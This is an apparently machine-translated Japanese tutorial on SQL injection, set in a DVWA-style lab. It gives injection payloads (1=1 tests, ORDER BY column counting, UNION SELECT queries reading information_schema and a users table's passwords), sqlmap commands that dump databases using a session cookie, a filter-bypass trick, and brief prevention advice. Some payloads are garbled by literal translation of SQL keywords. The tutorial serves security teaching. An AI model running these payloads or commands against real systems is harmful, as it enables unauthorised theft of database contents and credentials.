SQLインジェクションの脆弱性
1. 理解する
SQL インジェクション (SQL インジェクションとも呼ばれる) は、アプリケーション層とデータベース層で発生するセキュリティの脆弱性です。入力文字列に SQL コマンドを挿入します。文字チェックが無視されると、SQL インジェクションの脆弱性が発生し、悪意のあるコマンドが通常の SQL コマンドとして実行されます。
2. 詳しい説明
原因分析: ユーザーがデータのクエリ (映画タイトルの検索など) などの操作を実行するときに、入力が通常のクエリ語ではなく SQL ステートメントである場合、元の SQL ステートメントが変更され、プログラムは正常に動作しません。入力内容を制限すると抜け穴が生じます。
最初の試み:
通常、SQL キーワードを入力して、チェックするステートメントの内容を連結します。
攻撃方法:
1. SQL インジェクションの脆弱性があるかどうかを検出する
入力: クエリ内容' および 1=1#
元のクエリが完了した後、1=1 の判定が実行され、判定が正しい場合のみ出力されます。
#後続のSQL文を削除(コメント化)する役割です
入力: クエリ内容' および 1=2#
2 回の試行 (1=1 は通常の出力、1=2 はエラー出力) により、SQL ステートメントが有効であり、SQL インジェクションの脆弱性があることが証明されます。
2. SQL インジェクションの脆弱性を利用する
列/フィールドの数の判断: order by
入力: クエリ内容の 1# による順序
出力が正常であれば、データベースに少なくとも 1 つの列があることを意味します。
' order by 2# をもう一度入力します...正常な出力がなくなるまで
データベースに何列あるのかを知る
他の情報を共同でクエリします: Union select [sql1] [sql2]
入力: クエリ内容の共用体 select user(),database()#
user(): 現在のデータベース接続ユーザーを返します。
Database(): 現在のデータベース名を返します。
ユニオンルックアップテーブル:
入力: クエリ内容' Union select table_name,table_schema from information_schema.tables where table_schema = 'データベース名'#
データベース内のすべてのテーブルの名前を取得できます
目的のテーブルの内容を読み取ります。
入力: クエリコンテンツの結合体選択ユーザー、ユーザーからのパスワード#
users テーブルのユーザー名とパスワードをクエリできます。
3.SQLmapツール
SQLmap ツールをオンラインで入手するには、公式 Web サイト sqlmap.org にアクセスしてください。
コマンド ライン ウィンドウで使用し、対応するフォルダーに移動し、python sqlmap.py を入力して実行する方法です。
脆弱性を検出します。
python sqlmap.py -u "URL" --cookie="F12 -> [ネットワーク] -> [更新] -> [Cookie の検索] をクリックします。」
すべてのデータベース名を取得します。
python sqlmap.py -u "url" --cookie="" --dbs
dbs :データベースサーバー
指定されたデータベースのすべてのテーブル名を取得します。
python sqlmap.py -u "URL" --cookie="" -D データベース名 --tables
指定されたデータベース列/テーブル項目を取得します。
python sqlmap.py -u "URL" --cookie="" -D データベース名 -T テーブル名 --columns
-D : 取得するデータベース名を指定します。
-T : テーブル名を取得する場合に指定します。
–columns: テーブルのエントリ/列をリストします。
データを取得します:
python sqlmap.py -u "URL" --cookie="" -D データベース名 -T テーブル名 --dump
–dump: データの読み取り
4. SQL脆弱性の防止
ユーザーの入力内容をフィルタリングし、SQL ステートメントの入力を防止します。
特殊記号を空に置き換えるか、ユーザーが SQL ステートメントを入力して実行を終了するかを判断します。
SQL ステートメントを無効にするには、特殊記号の前に / を追加します。
元の SQL ステートメントの最後に、LIMIT 1 などの制限を追加します。
SQL 前処理 PDO を実行します。SQL インジェクションは、適切なフィルタリングと SQL ステートメントを使用して回避できます。
5. バイパス方法
特殊文字は入力しないでください
たとえば、dvwa という名前のデータベース
「dvwa」をdatabase()またはhexに置き換えることができます
例: クエリ内容' Union select table_name,table_schema from information_schema.tables where table_schema = 'データベース名'#
変更: query content Union select table_name,table_schema from information_schema.tables where table_schema = database()#